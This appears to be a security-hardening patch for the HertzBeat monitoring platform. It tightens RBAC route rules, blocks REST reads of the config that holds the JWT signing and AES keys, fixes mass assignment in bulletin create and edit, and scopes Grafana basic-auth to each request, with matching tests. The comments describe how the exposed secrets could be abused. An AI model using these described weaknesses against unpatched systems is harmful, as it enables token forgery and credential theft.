assertThrows(IllegalArgumentException.class, () -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(url));
|
||||
}
|
||||
}
|
||||
+10
-6
@@ -17,6 +17,7 @@
|
||||
|
||||
package org.apache.hertzbeat.common.entity.manager;
|
||||
|
||||
import static io.swagger.v3.oas.annotations.media.Schema.AccessMode.READ_ONLY;
|
||||
import static io.swagger.v3.oas.annotations.media.Schema.AccessMode.READ_WRITE;
|
||||
import io.swagger.v3.oas.annotations.media.Schema;
|
||||
import jakarta.persistence.Column;
|
||||
@@ -27,6 +28,7 @@ import jakarta.persistence.GeneratedValue;
|
||||
import jakarta.persistence.GenerationType;
|
||||
import jakarta.persistence.Id;
|
||||
import jakarta.persistence.Table;
|
||||
import jakarta.persistence.UniqueConstraint;
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
@@ -50,12 +52,14 @@ import org.springframework.data.jpa.domain.support.AuditingEntityListener;
|
||||
@AllArgsConstructor
|
||||
@NoArgsConstructor
|
||||
@EntityListeners(AuditingEntityListener.class)
|
||||
@Table(name = "hzb_bulletin")
|
||||
@Table(name = "hzb_bulletin", uniqueConstraints = {
|
||||
@UniqueConstraint(name = "uk_bulletin_name", columnNames = "name")
|
||||
})
|
||||
public class Bulletin {
|
||||
|
||||
@Id
|
||||
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||
@Schema(description = "Bulletin ID", example = "1")
|
||||
@Schema(description = "Bulletin ID", example = "1", accessMode = READ_ONLY)
|
||||
private Long id;
|
||||
|
||||
@Schema(description = "Bulletin Name", example = "Bulletin1", accessMode = READ_WRITE)
|
||||
@@ -74,19 +78,19 @@ public class Bulletin {
|
||||
@Convert(converter = JsonMapListAttributeConverter.class)
|
||||
private Map<String, List<String>> fields;
|
||||
|
||||
@Schema(title = "The creator of this record", example = "tom", accessMode = READ_WRITE)
|
||||
@Schema(title = "The creator of this record", example = "tom", accessMode = READ_ONLY)
|
||||
@CreatedBy
|
||||
private String creator;
|
||||
|
||||
@Schema(title = "The modifier of this record", example = "tom", accessMode = READ_WRITE)
|
||||
@Schema(title = "The modifier of this record", example = "tom", accessMode = READ_ONLY)
|
||||
@LastModifiedBy
|
||||
private String modifier;
|
||||
|
||||
@Schema(title = "Record create time", example = "2024-07-02T20:09:34.903217", accessMode = READ_WRITE)
|
||||
@Schema(title = "Record create time", example = "2024-07-02T20:09:34.903217", accessMode = READ_ONLY)
|
||||
@CreatedDate
|
||||
private LocalDateTime gmtCreate;
|
||||
|
||||
@Schema(title = "Record modify time", example = "2024-07-02T20:09:34.903217", accessMode = READ_WRITE)
|
||||
@Schema(title = "Record modify time", example = "2024-07-02T20:09:34.903217", accessMode = READ_ONLY)
|
||||
@LastModifiedDate
|
||||
private LocalDateTime gmtUpdate;
|
||||
}
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -70,6 +76,10 @@ resourceRole:
|
||||
- /api/sse/**===post===[admin,user]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin,user]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
- /api/otlp/**===post===[admin,user]
|
||||
|
||||
-4
@@ -44,7 +44,6 @@ import org.springframework.http.HttpHeaders;
|
||||
import org.springframework.http.HttpMethod;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.http.client.support.BasicAuthenticationInterceptor;
|
||||
import org.springframework.stereotype.Service;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
|
||||
@@ -98,7 +97,6 @@ public class ServiceAccountService {
|
||||
String endpoint = String.format(prefix + CREATE_SERVICE_ACCOUNT_API, url);
|
||||
HttpHeaders headers = createHeaders();
|
||||
String body = String.format("{\"name\":\"%s\",\"role\":\"%s\",\"isDisabled\":false}", ACCOUNT_NAME, ACCOUNT_ROLE);
|
||||
restTemplate.getInterceptors().add(new BasicAuthenticationInterceptor(username, password));
|
||||
HttpEntity<String> request = new HttpEntity<>(body, headers);
|
||||
try {
|
||||
ResponseEntity<String> response = restTemplate.postForEntity(endpoint, request, String.class);
|
||||
@@ -128,7 +126,6 @@ public class ServiceAccountService {
|
||||
String endpoint = String.format(prefix + CREATE_SERVICE_TOKEN_API, url, accountId);
|
||||
HttpHeaders headers = createHeaders();
|
||||
String body = String.format("{\"name\":\"%s\"}", CommonUtil.generateRandomWord(6));
|
||||
restTemplate.getInterceptors().add(new BasicAuthenticationInterceptor(username, password));
|
||||
HttpEntity<String> request = new HttpEntity<>(body, headers);
|
||||
try {
|
||||
ResponseEntity<String> response = restTemplate.postForEntity(endpoint, request, String.class);
|
||||
@@ -178,7 +175,6 @@ public class ServiceAccountService {
|
||||
public ResponseEntity<String> getAccounts() {
|
||||
String endpoint = String.format(prefix + GET_SERVICE_ACCOUNTS_API, url);
|
||||
HttpHeaders headers = createHeaders();
|
||||
restTemplate.getInterceptors().add(new BasicAuthenticationInterceptor(username, password));
|
||||
HttpEntity<String> request = new HttpEntity<>(headers);
|
||||
try {
|
||||
ResponseEntity<String> response = restTemplate.exchange(endpoint, HttpMethod.GET, request, String.class);
|
||||
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.grafana.service;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.eq;
|
||||
import static org.mockito.Mockito.never;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import org.apache.hertzbeat.common.constants.NetworkConstants;
|
||||
import org.apache.hertzbeat.grafana.config.GrafanaProperties;
|
||||
import org.apache.hertzbeat.grafana.dao.GrafanaConfigDao;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.ArgumentCaptor;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.springframework.http.HttpEntity;
|
||||
import org.springframework.http.HttpMethod;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
|
||||
/**
|
||||
* Test case for {@link ServiceAccountService}.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class ServiceAccountServiceTest {
|
||||
|
||||
@Mock
|
||||
private GrafanaProperties grafanaProperties;
|
||||
|
||||
@Mock
|
||||
private GrafanaConfigDao grafanaConfigDao;
|
||||
|
||||
@Mock
|
||||
private RestTemplate restTemplate;
|
||||
|
||||
private ServiceAccountService serviceAccountService;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
when(grafanaProperties.getPrefix()).thenReturn("https://");
|
||||
when(grafanaProperties.getUrl()).thenReturn("grafana.example");
|
||||
when(grafanaProperties.username()).thenReturn("admin");
|
||||
when(grafanaProperties.password()).thenReturn("password");
|
||||
serviceAccountService = new ServiceAccountService(grafanaProperties, grafanaConfigDao, restTemplate);
|
||||
serviceAccountService.init();
|
||||
}
|
||||
|
||||
@Test
|
||||
void keepsGrafanaAuthenticationScopedToTheRequest() {
|
||||
when(restTemplate.exchange(
|
||||
eq("https://grafana.example/api/serviceaccounts/search"),
|
||||
eq(HttpMethod.GET),
|
||||
any(HttpEntity.class),
|
||||
eq(String.class)))
|
||||
.thenReturn(ResponseEntity.ok("{\"serviceAccounts\":[]}"));
|
||||
|
||||
serviceAccountService.getAccounts();
|
||||
|
||||
verify(restTemplate, never()).getInterceptors();
|
||||
ArgumentCaptor<HttpEntity<String>> requestCaptor = ArgumentCaptor.forClass(HttpEntity.class);
|
||||
verify(restTemplate).exchange(
|
||||
eq("https://grafana.example/api/serviceaccounts/search"),
|
||||
eq(HttpMethod.GET),
|
||||
requestCaptor.capture(),
|
||||
eq(String.class));
|
||||
assertEquals(
|
||||
"Basic YWRtaW46cGFzc3dvcmQ=",
|
||||
requestCaptor.getValue().getHeaders().getFirst(NetworkConstants.AUTHORIZATION));
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -62,7 +62,7 @@ public class BulletinController {
|
||||
@PostMapping
|
||||
public ResponseEntity<Message<Void>> addNewBulletin(@Valid @RequestBody Bulletin bulletin) {
|
||||
try {
|
||||
bulletinService.validate(bulletin);
|
||||
bulletinService.validate(bulletin, false);
|
||||
bulletinService.addBulletin(bulletin);
|
||||
} catch (Exception e) {
|
||||
return ResponseEntity.ok(Message.fail(FAIL_CODE, "Add failed! " + e.getMessage()));
|
||||
@@ -74,7 +74,7 @@ public class BulletinController {
|
||||
@PutMapping
|
||||
public ResponseEntity<Message<Void>> editBulletin(@Valid @RequestBody Bulletin bulletin) {
|
||||
try {
|
||||
bulletinService.validate(bulletin);
|
||||
bulletinService.validate(bulletin, true);
|
||||
bulletinService.editBulletin(bulletin);
|
||||
} catch (Exception e) {
|
||||
return ResponseEntity.ok(Message.fail(FAIL_CODE, "Edit failed! " + e.getMessage()));
|
||||
|
||||
+21
@@ -23,11 +23,14 @@ import io.swagger.v3.oas.annotations.tags.Tag;
|
||||
import jakarta.annotation.Resource;
|
||||
import jakarta.validation.constraints.NotNull;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.hertzbeat.common.constants.CommonConstants;
|
||||
import org.apache.hertzbeat.common.constants.GeneralConfigTypeEnum;
|
||||
import org.apache.hertzbeat.common.entity.dto.Message;
|
||||
import org.apache.hertzbeat.common.util.CommonUtil;
|
||||
import org.apache.hertzbeat.common.util.ResponseUtil;
|
||||
import org.apache.hertzbeat.manager.pojo.dto.TemplateConfig;
|
||||
import org.apache.hertzbeat.manager.service.ConfigService;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
@@ -61,6 +64,18 @@ public class GeneralConfigController {
|
||||
|
||||
private static final Set<String> ZONE_IDS = ZoneId.getAvailableZoneIds();
|
||||
|
||||
/**
|
||||
* Config types that must never travel over the rest api.
|
||||
*
|
||||
* <p>The {@code secret} config holds the jwt signing key and the aes key that protects
|
||||
* every stored monitor credential. Both are loaded straight from the persistence layer
|
||||
* while the application boots and no part of the ui reads them, so handing them out
|
||||
* over http has no legitimate use and would let a reader mint admin tokens and decrypt
|
||||
* stored credentials. Refusing the read here keeps the guarantee even if the rbac rules
|
||||
* for this route are ever loosened again.
|
||||
*/
|
||||
private static final Set<String> NON_READABLE_TYPES = Set.of(GeneralConfigTypeEnum.secret.name());
|
||||
|
||||
@Resource
|
||||
private ConfigService configService;
|
||||
|
||||
@@ -80,6 +95,12 @@ public class GeneralConfigController {
|
||||
public ResponseEntity<Message<Object>> getConfig(
|
||||
@Parameter(description = "Config Type", example = "email")
|
||||
@PathVariable("type") @NotNull final String type) {
|
||||
if (NON_READABLE_TYPES.contains(type)) {
|
||||
log.warn("Refused to serve the {} config over the rest api", type);
|
||||
return ResponseEntity.status(HttpStatus.FORBIDDEN)
|
||||
.body(Message.fail(CommonConstants.FAIL_CODE,
|
||||
"The " + type + " config can not be read through the rest api."));
|
||||
}
|
||||
return ResponseUtil.handle(() -> configService.getConfig(type));
|
||||
}
|
||||
|
||||
|
||||
+1
-1
@@ -31,7 +31,7 @@ public interface BulletinService {
|
||||
/**
|
||||
* validate Bulletin
|
||||
*/
|
||||
void validate(Bulletin bulletin) throws IllegalArgumentException;
|
||||
void validate(Bulletin bulletin, boolean isModify) throws IllegalArgumentException;
|
||||
|
||||
/**
|
||||
* Get Bulletin by id
|
||||
|
||||
+18
-4
@@ -65,7 +65,7 @@ public class BulletinServiceImpl implements BulletinService {
|
||||
* validate Bulletin
|
||||
*/
|
||||
@Override
|
||||
public void validate(Bulletin bulletin) throws IllegalArgumentException {
|
||||
public void validate(Bulletin bulletin, boolean isModify) throws IllegalArgumentException {
|
||||
if (bulletin == null) {
|
||||
throw new IllegalArgumentException("Bulletin cannot be null");
|
||||
}
|
||||
@@ -78,8 +78,11 @@ public class BulletinServiceImpl implements BulletinService {
|
||||
if (bulletin.getMonitorIds() == null || bulletin.getMonitorIds().isEmpty()) {
|
||||
throw new IllegalArgumentException("Bulletin monitorIds cannot be null or empty");
|
||||
}
|
||||
if (isModify && bulletin.getId() == null) {
|
||||
throw new IllegalArgumentException("Bulletin id cannot be null when editing");
|
||||
}
|
||||
Bulletin existBulletin = bulletinDao.findByName(bulletin.getName());
|
||||
if (existBulletin != null && !existBulletin.getId().equals(bulletin.getId())) {
|
||||
if (existBulletin != null && (!isModify || !existBulletin.getId().equals(bulletin.getId()))) {
|
||||
throw new IllegalArgumentException("Bulletin name duplicated");
|
||||
}
|
||||
}
|
||||
@@ -94,7 +97,12 @@ public class BulletinServiceImpl implements BulletinService {
|
||||
if (optional.isEmpty()) {
|
||||
throw new IllegalArgumentException("Bulletin not found");
|
||||
}
|
||||
bulletinDao.save(bulletin);
|
||||
Bulletin storedBulletin = optional.get();
|
||||
storedBulletin.setName(bulletin.getName());
|
||||
storedBulletin.setMonitorIds(bulletin.getMonitorIds());
|
||||
storedBulletin.setApp(bulletin.getApp());
|
||||
storedBulletin.setFields(bulletin.getFields());
|
||||
bulletinDao.save(storedBulletin);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -103,7 +111,13 @@ public class BulletinServiceImpl implements BulletinService {
|
||||
@Override
|
||||
@Transactional(rollbackFor = Exception.class)
|
||||
public void addBulletin(Bulletin bulletin) {
|
||||
bulletinDao.save(bulletin);
|
||||
Bulletin newBulletin = Bulletin.builder()
|
||||
.name(bulletin.getName())
|
||||
.monitorIds(bulletin.getMonitorIds())
|
||||
.app(bulletin.getApp())
|
||||
.fields(bulletin.getFields())
|
||||
.build();
|
||||
bulletinDao.save(newBulletin);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
+4
-4
@@ -62,7 +62,7 @@ class BulletinControllerTest {
|
||||
Bulletin bulletinDto = new Bulletin();
|
||||
doAnswer(invocation -> {
|
||||
throw new IllegalArgumentException("Invalid bulletin");
|
||||
}).when(bulletinService).validate(bulletinDto);
|
||||
}).when(bulletinService).validate(bulletinDto, false);
|
||||
|
||||
this.mockMvc.perform(MockMvcRequestBuilders.post("/api/bulletin")
|
||||
.contentType("application/json")
|
||||
@@ -72,7 +72,7 @@ class BulletinControllerTest {
|
||||
|
||||
doAnswer(invocation -> {
|
||||
return null;
|
||||
}).when(bulletinService).validate(bulletinDto);
|
||||
}).when(bulletinService).validate(bulletinDto, false);
|
||||
doAnswer(invocation -> {
|
||||
return null;
|
||||
}).when(bulletinService).addBulletin(bulletinDto);
|
||||
@@ -88,7 +88,7 @@ class BulletinControllerTest {
|
||||
Bulletin bulletinDto = new Bulletin();
|
||||
doAnswer(invocation -> {
|
||||
throw new IllegalArgumentException("Invalid bulletin");
|
||||
}).when(bulletinService).validate(bulletinDto);
|
||||
}).when(bulletinService).validate(bulletinDto, true);
|
||||
|
||||
this.mockMvc.perform(MockMvcRequestBuilders.put("/api/bulletin")
|
||||
.contentType("application/json")
|
||||
@@ -98,7 +98,7 @@ class BulletinControllerTest {
|
||||
|
||||
doAnswer(invocation -> {
|
||||
return null;
|
||||
}).when(bulletinService).validate(bulletinDto);
|
||||
}).when(bulletinService).validate(bulletinDto, true);
|
||||
doAnswer(invocation -> {
|
||||
return null;
|
||||
}).when(bulletinService).editBulletin(bulletinDto);
|
||||
|
||||
+14
@@ -20,6 +20,8 @@ package org.apache.hertzbeat.manager.controller;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.doNothing;
|
||||
import static org.mockito.Mockito.never;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||
@@ -84,6 +86,18 @@ class GeneralConfigControllerTest {
|
||||
.andExpect(jsonPath("$.code").value((int) CommonConstants.SUCCESS_CODE));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testGetSecretConfigIsRefused() throws Exception {
|
||||
|
||||
mockMvc.perform(get("/api/config/secret")
|
||||
.accept(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isForbidden())
|
||||
.andExpect(jsonPath("$.code").value((int) CommonConstants.FAIL_CODE));
|
||||
|
||||
// the jwt signing key and the aes key must not even be loaded for a rest read
|
||||
verify(configService, never()).getConfig(anyString());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testUpdateTemplateAppConfig() throws Exception {
|
||||
|
||||
|
||||
+80
-5
@@ -24,6 +24,7 @@ import org.apache.hertzbeat.manager.service.impl.BulletinServiceImpl;
|
||||
import org.apache.hertzbeat.warehouse.store.realtime.RealTimeDataReader;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.ArgumentCaptor;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
@@ -32,19 +33,24 @@ import org.springframework.data.domain.PageImpl;
|
||||
import org.springframework.data.domain.PageRequest;
|
||||
import org.springframework.data.jpa.domain.Specification;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertSame;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
/**
|
||||
@@ -67,17 +73,17 @@ public class BulletinServiceTest {
|
||||
@Test
|
||||
public void testValidate() throws Exception {
|
||||
assertThrows(IllegalArgumentException.class, () -> {
|
||||
bulletinService.validate(null);
|
||||
bulletinService.validate(null, false);
|
||||
});
|
||||
|
||||
assertThrows(IllegalArgumentException.class, () -> {
|
||||
bulletinService.validate(new Bulletin());
|
||||
bulletinService.validate(new Bulletin(), false);
|
||||
});
|
||||
|
||||
assertThrows(IllegalArgumentException.class, () -> {
|
||||
Bulletin obj = new Bulletin();
|
||||
obj.setApp("app");
|
||||
bulletinService.validate(obj);
|
||||
bulletinService.validate(obj, false);
|
||||
});
|
||||
|
||||
assertThrows(IllegalArgumentException.class, () -> {
|
||||
@@ -87,7 +93,7 @@ public class BulletinServiceTest {
|
||||
Bulletin obj = new Bulletin();
|
||||
obj.setApp("app");
|
||||
obj.setFields(fields);
|
||||
bulletinService.validate(obj);
|
||||
bulletinService.validate(obj, false);
|
||||
});
|
||||
|
||||
assertDoesNotThrow(() -> {
|
||||
@@ -101,7 +107,7 @@ public class BulletinServiceTest {
|
||||
obj.setApp("app");
|
||||
obj.setFields(fields);
|
||||
obj.setMonitorIds(ids);
|
||||
bulletinService.validate(obj);
|
||||
bulletinService.validate(obj, false);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -119,6 +125,75 @@ public class BulletinServiceTest {
|
||||
});
|
||||
}
|
||||
|
||||
@Test
|
||||
void validateCreateRejectsDuplicateNameEvenWhenClientSubmitsExistingId() {
|
||||
Bulletin stored = Bulletin.builder().id(7L).name("duplicate-name").build();
|
||||
Bulletin submitted = Bulletin.builder()
|
||||
.id(7L)
|
||||
.name("duplicate-name")
|
||||
.app("app")
|
||||
.fields(Map.of("metric", List.of("field")))
|
||||
.monitorIds(List.of(1L))
|
||||
.build();
|
||||
when(bulletinDao.findByName("duplicate-name")).thenReturn(stored);
|
||||
|
||||
assertThrows(IllegalArgumentException.class, () -> bulletinService.validate(submitted, false));
|
||||
}
|
||||
|
||||
@Test
|
||||
void addBulletinIgnoresClientManagedFields() {
|
||||
Bulletin bulletin = new Bulletin();
|
||||
bulletin.setId(7L);
|
||||
bulletin.setCreator("submitted-creator");
|
||||
bulletin.setModifier("submitted-modifier");
|
||||
bulletin.setGmtCreate(LocalDateTime.of(2020, 1, 1, 0, 0));
|
||||
bulletin.setGmtUpdate(LocalDateTime.of(2020, 1, 2, 0, 0));
|
||||
|
||||
bulletinService.addBulletin(bulletin);
|
||||
|
||||
ArgumentCaptor<Bulletin> saved = ArgumentCaptor.forClass(Bulletin.class);
|
||||
verify(bulletinDao).save(saved.capture());
|
||||
assertNull(saved.getValue().getId());
|
||||
assertNull(saved.getValue().getCreator());
|
||||
assertNull(saved.getValue().getModifier());
|
||||
assertNull(saved.getValue().getGmtCreate());
|
||||
assertNull(saved.getValue().getGmtUpdate());
|
||||
}
|
||||
|
||||
@Test
|
||||
void editBulletinPreservesStoredManagedFields() {
|
||||
LocalDateTime createdAt = LocalDateTime.of(2020, 1, 1, 0, 0);
|
||||
LocalDateTime updatedAt = LocalDateTime.of(2020, 1, 2, 0, 0);
|
||||
Bulletin stored = Bulletin.builder()
|
||||
.id(7L)
|
||||
.name("old-name")
|
||||
.creator("stored-creator")
|
||||
.modifier("stored-modifier")
|
||||
.gmtCreate(createdAt)
|
||||
.gmtUpdate(updatedAt)
|
||||
.build();
|
||||
Bulletin submitted = Bulletin.builder()
|
||||
.id(7L)
|
||||
.name("new-name")
|
||||
.creator("submitted-creator")
|
||||
.modifier("submitted-modifier")
|
||||
.gmtCreate(createdAt.minusYears(1))
|
||||
.gmtUpdate(updatedAt.minusYears(1))
|
||||
.build();
|
||||
when(bulletinDao.findById(7L)).thenReturn(Optional.of(stored));
|
||||
|
||||
bulletinService.editBulletin(submitted);
|
||||
|
||||
ArgumentCaptor<Bulletin> saved = ArgumentCaptor.forClass(Bulletin.class);
|
||||
verify(bulletinDao).save(saved.capture());
|
||||
assertSame(stored, saved.getValue());
|
||||
assertEquals("new-name", saved.getValue().getName());
|
||||
assertEquals("stored-creator", saved.getValue().getCreator());
|
||||
assertEquals("stored-modifier", saved.getValue().getModifier());
|
||||
assertEquals(createdAt, saved.getValue().getGmtCreate());
|
||||
assertEquals(updatedAt, saved.getValue().getGmtUpdate());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testGetBulletins() throws Exception {
|
||||
Bulletin bulletin = new Bulletin();
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -70,6 +76,10 @@ resourceRole:
|
||||
- /api/sse/**===post===[admin,user]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin,user]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
- /api/otlp/**===post===[admin,user]
|
||||
|
||||
@@ -22,10 +22,16 @@
|
||||
resourceRole:
|
||||
- /api/account/auth/refresh===post===[admin,user,guest]
|
||||
- /api/apps/**===get===[admin,user,guest]
|
||||
# the define yml routes persist the global collection templates
|
||||
# post can only add a new type, put overwrites an existing one and immediately
|
||||
# redispatches its collect job to every monitor already using it - hence admin only
|
||||
- /api/apps/**===post===[admin,user]
|
||||
- /api/apps/**===put===[admin]
|
||||
- /api/apps/**===delete===[admin]
|
||||
- /api/monitor/**===get===[admin,user,guest]
|
||||
- /api/monitor/**===post===[admin,user]
|
||||
- /api/monitor/**===put===[admin,user]
|
||||
- /api/monitor/**===delete==[admin]
|
||||
- /api/monitor/**===delete===[admin]
|
||||
- /api/monitors/**===get===[admin,user,guest]
|
||||
- /api/monitors/**===post===[admin,user]
|
||||
- /api/monitors/**===put===[admin,user]
|
||||
@@ -54,6 +60,16 @@ resourceRole:
|
||||
- /api/collector/**===post===[admin,user]
|
||||
- /api/collector/**===put===[admin,user]
|
||||
- /api/collector/**===delete===[admin]
|
||||
# the secret config holds the jwt signing key and the aes key protecting stored
|
||||
# credentials, so it stays admin only and is additionally refused by the controller
|
||||
- /api/config/secret===get===[admin]
|
||||
- /api/config/secret===post===[admin]
|
||||
# the mute toggle sits in the notification widget every signed in user sees
|
||||
- /api/config/mute===post===[admin,user,guest]
|
||||
- /api/config/**===get===[admin,user,guest]
|
||||
- /api/config/**===post===[admin]
|
||||
- /api/config/**===put===[admin]
|
||||
- /api/config/**===delete===[admin]
|
||||
- /api/status/page/**===get===[admin,user,guest]
|
||||
- /api/status/page/**===post===[admin,user]
|
||||
- /api/status/page/**===put===[admin,user]
|
||||
@@ -70,6 +86,10 @@ resourceRole:
|
||||
- /api/mcp/**===post===[admin]
|
||||
- /api/chat/**===get===[admin,user]
|
||||
- /api/chat/**===post===[admin]
|
||||
- /api/ai/**===get===[admin]
|
||||
- /api/ai/**===post===[admin]
|
||||
- /api/ai/**===put===[admin]
|
||||
- /api/ai/**===delete===[admin]
|
||||
- /api/logs/sse/**===get===[admin,user,guest]
|
||||
- /api/logs/ingest/**===post===[admin,user]
|
||||
- /api/otlp/**===post===[admin,user]
|
||||
@@ -79,6 +99,8 @@ resourceRole:
|
||||
- /api/account/token===get===[admin]
|
||||
- /api/account/token/**===post===[admin]
|
||||
- /api/account/token/**===delete===[admin]
|
||||
# spring boot actuator exposes jvm, http and datasource internals for scraping
|
||||
- /actuator/**===get===[admin]
|
||||
|
||||
# config the resource restful api that need bypass auth protection
|
||||
# rule: api===method
|
||||
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.startup.security;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import com.usthe.sureness.matcher.util.TirePathTree;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
